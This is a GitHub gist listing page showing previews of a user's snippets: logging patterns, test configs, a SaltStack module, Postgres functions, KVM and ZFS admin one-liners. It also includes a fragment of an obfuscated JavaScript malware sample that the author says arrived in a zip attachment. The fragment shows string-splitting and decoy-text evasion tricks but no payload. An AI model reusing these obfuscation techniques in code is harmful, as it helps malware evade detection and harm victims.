Skip to content

Instantly share code, notes, and snippets.

Umberto Nicoletti unicolet

Block or report user

Report or block unicolet

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View envoy.grok
# envoy default log format:
ENVOY \[%{TIMESTAMP_ISO8601:timestamp}\] "%{DATA:method} %{DATA:original_path} %{DATA:protocol}" %{DATA:response_code} %{DATA:response_flags} %{NUMBER:bytes_rcvd} %{NUMBER:bytes_sent} %{NUMBER:duration} %{DATA:upstream_svc_time} "%{DATA:x-forwarded-for}" "%{DATA:useragent}" "%{DATA:request_id}" "%{DATA:authority}" "%{DATA:upstream_host}"
public BulkScorer bulkScorer(LeafReaderContext context) throws IOException {
final float score = score();
final int maxDoc = context.reader().maxDoc();
return new BulkScorer() {
public int score(LeafCollector collector, Bits acceptDocs, int min, int max) throws IOException {
max = Math.min(max, maxDoc);
FakeScorer scorer = new FakeScorer();
scorer.score = score;
View example_spec.rb
# encoding: utf-8
require "logstash/devutils/rspec/spec_helper"
files = Dir['conf.d/*.conf']
@@configuration =
files.sort.each do |file|
@@configuration <<
describe "simple test" do
View .kitchen.yml
omnibus_cachier: true
name: salt_solo
formula: service
- service
unicolet /
Last active May 10, 2016
Warning: crude hack ahead! Implement a rate limiting state module for SaltStack reactors. State is maintained in a sqlite database.
import salt.exceptions
import logging
import time
__name__ = 'ratelimit'
log = logging.getLogger(__name__)
def event(name, event_in, event_out):
bucket = {}
unicolet / opennms_event_param_functions.sql
Last active Apr 22, 2016
Two postgres functions to retrieve param values from OpenNMS events.eventparms column. Tested on postgres 9.4
View opennms_event_param_functions.sql
CREATE OR REPLACE FUNCTION event_pval_num(p_eventparams text, p_param text) RETURNS integer AS $$
RETURN (regexp_matches(p_eventparams,p_param||'=(\d+)'))[1];
$$ LANGUAGE plpgsql;
CREATE OR REPLACE FUNCTION event_pval_txt(p_eventparams text, p_param text) RETURNS text AS $$
RETURN (regexp_matches(p_eventparams,p_param||'=(.*?)\(string'))[1];
unicolet / malware.js
Created Apr 4, 2016
Received this in a zip attachment. Just look at all that evasion text.
View malware.js
dnWuANlWi = "} An object can be passed to instead of a key/value pair; this gets shallow copied over onto the existing cache if ( typeof name === \"object\" || typeof name === \"function\" ) { if ( pvt ) { cache[ id ] = jQuery.extend( cache[ id ], name ); } else { cache[ id ].data = jQuery.extend( cache[ id ].data, name ); } ";
var enter = 0;
var enter1 = 7*2*7 + enter;
nixon = String[("context","approve","referrals","accrue","f")+("productivity","rolled","executed","ro")+"mC"+"ha"+("fossil","yorkshire","disrespect","explicitly","rC")+"ode"]( enter1);
var enter2 = 3/3;
String.prototype.borax = function () {
var catalogues = {
repel: this
catalogues.beach = catalogues.repel[("s"+("driver","legendary","teutonic","fought","uZ")+"st"+("achieved","cNkHLjlL","misleading","flinch","ring")).replace("Z", nixon)](enter, enter2);
unicolet /
Last active Jan 10, 2016
A one-liner to create a new KVM guest, including guest agent support
virt-install --name "guest01" --memory 2048
-l http://your.ris.server/ris/centos71
-x "ks=http://your.ris.server/ris/ks.cfg console=ttyS0"
--disk size=8,pool=your_pool,bus=virtio,format=qcow2
-w default
--graphics vnc
--channel unix,mode=bind,path=/var/lib/libvirt/qemu/guest01.agent,target_type=virtio,name=org.qemu.guest_agent.0
unicolet / itank-pool.service
Created Dec 22, 2015
How to automatically import a ZFS pool built on top of iSCSI devices with systemd
View itank-pool.service
ExecStart=/usr/sbin/zpool import itank
ExecStartPost=/usr/bin/logger "started ZFS pool itank"
You can’t perform that action at this time.